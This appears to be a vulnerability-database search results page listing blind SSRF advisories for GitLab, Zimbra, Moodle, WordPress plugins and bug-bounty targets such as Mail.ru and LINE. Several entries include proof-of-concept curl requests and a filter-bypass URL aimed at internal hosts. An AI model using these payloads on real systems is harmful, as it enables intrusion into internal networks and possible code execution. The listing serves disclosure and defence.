347 matches found
UBUNTU-CVE-2020-10980
GitLab EE/CE 8.0.rc1 to 12.9 is vulnerable to a blind SSRF in the FogBugz integration...
LY Corporation: Blind SSRF in social-plugins.line.me
LINE Social Plugins https://social-plugins.line.me/ is a service that provides LINE users with content sharing on the web. This Blind SSRF attack was caused by bypassing the DNS verification of the parameter value received. It could have made requests to internal servers or scanned internal netwo...
FreeBSD : Gitlab -- Multiple Vulnerabilities (08fba28b-6f9f-11ea-bd0b-001b217b3468)
Gitlab reports : Arbitrary File Read when Moving an Issue Path Traversal in NPM Package Registry SSRF on Project Import External Users Can Create Personal Snippet Triggers Decription Can be Updated by Other Maintainers in Project Information Disclosure on Confidential Issues Moved to Private...
Mail.ru: Blind SSRF on [relap.io]
Blind SSRF in relap.io...
Mail.ru: Blind SSRF на calendar.mail.ru при импорте календаря
Blind SSRF in calendar.mail.ru via calendar import functionality...
CVE-2019-16932
A blind SSRF vulnerability exists in the Visualizer plugin before 3.3.1 for WordPress via wp-json/visualizer/v1/upload-data...
Visualizer < 3.3.1 - Blind Server-Side Request Forgery (SSRF)
This plugin suffers from a blind SSRF vulnerability in the /wp-json/visualizer/v1/upload-data endpoint. PoC curl -i -s -X $'POST' \ -H $'Host: 192.168.158.128:8000' \ --data-binary $'"url":"http://db:3306"' \ $'http://192.168.158.128:8000/wp-json/visualizer/v1/upload-data' See the references...
Visualizer < 3.3.1 - Blind Server-Side Request Forgery (SSRF)
This plugin suffers from a blind SSRF vulnerability in the /wp-json/visualizer/v1/upload-data endpoint. curl -i -s -X $'POST' \ -H $'Host: 192.168.158.128:8000' \ --data-binary $'"url":"http://db:3306"' \ $'http://192.168.158.128:8000/wp-json/visualizer/v1/upload-data' See the references for...
CVE-2019-6793
GitLab Enterprise Edition prior to 11.5.8, 11.6.x prior to 11.6.6, and 11.7.x prior to 11.7.1 contains an unauthenticated blind SSRF in the Jira integration feature. This affects the Jira integration component of GitLab EE and can be exploited by an unauthenticated attacker to trigger SSRF reques...
Mail.ru: OOB XXE
Limited XXE on XML request processing led to blind SSRF possibility OOB XXE on one of Ext. B Mail.ru domains, which could be exploited as blind SSRF...
Mail.ru: OOB XXE
Limited XXE on XML request processing led to blind SSRF possibility OOB XXE on one of Ext. B Mail.ru domains, which could be exploited as blind SSRF...
Mail.ru: Blind SSRF on sentry.dev-my.com due to Sentry misconfiguration
Insufficient isolation of Sentry installation could potentially lead to blind SSRF...
Infogram: Bypass for blind SSRF #281950 and #287496
Hello, when checking these 2 reports 281950 and 287496 i found that it can be bypassed using IPv6/IPv4 Address Embedding Steps to reproduce: 1-access this link https://infogram.com/api/webresource/url?q=http://0:0:0:0:0:ffff:127.0.0.1 POC: F528736 Refrences:...
CVE-2019-6981
Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component...
CVE-2019-6981
Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component...
Server side request forgery (ssrf)
Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component...
CVE-2019-6981
CVE-2019-6981 affects Zimbra Collaboration Suite 8.7.x through 8.8.11 and is described as a Blind SSRF vulnerability in the Feed component. Public sources in the provided documents confirm the issue exists in the specified product range, with no details on exploit vectors beyond SSRF and no patch...
Mail.ru: Blind SSRF [ Sentry Misconfiguraton ]
Researcher found Blind SSRF via Sentry misconfiguration. This report received smaller bounty since server located in dedicated hosting colocation network separated from production servers...
W3 Total Cache <= 0.9.7.3 - Blind SSRF and RCE via phar
The implementation of opcacheflushfile calls fileexists with a parameter fully controlled by the user. PoC curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c=flushfile=ftp://y.y.y.y:zzzz/' Note: The nonce value is given by...
CVE-2019-3809
A flaw was found in Moodle versions 3.1 to 3.1.15 and earlier unsupported versions. The mybackpack functionality allowed setting the URL of badges, when it should be restricted to the Mozilla Open Badges backpack URL. This resulted in the possibility of blind SSRF via requests made by the page...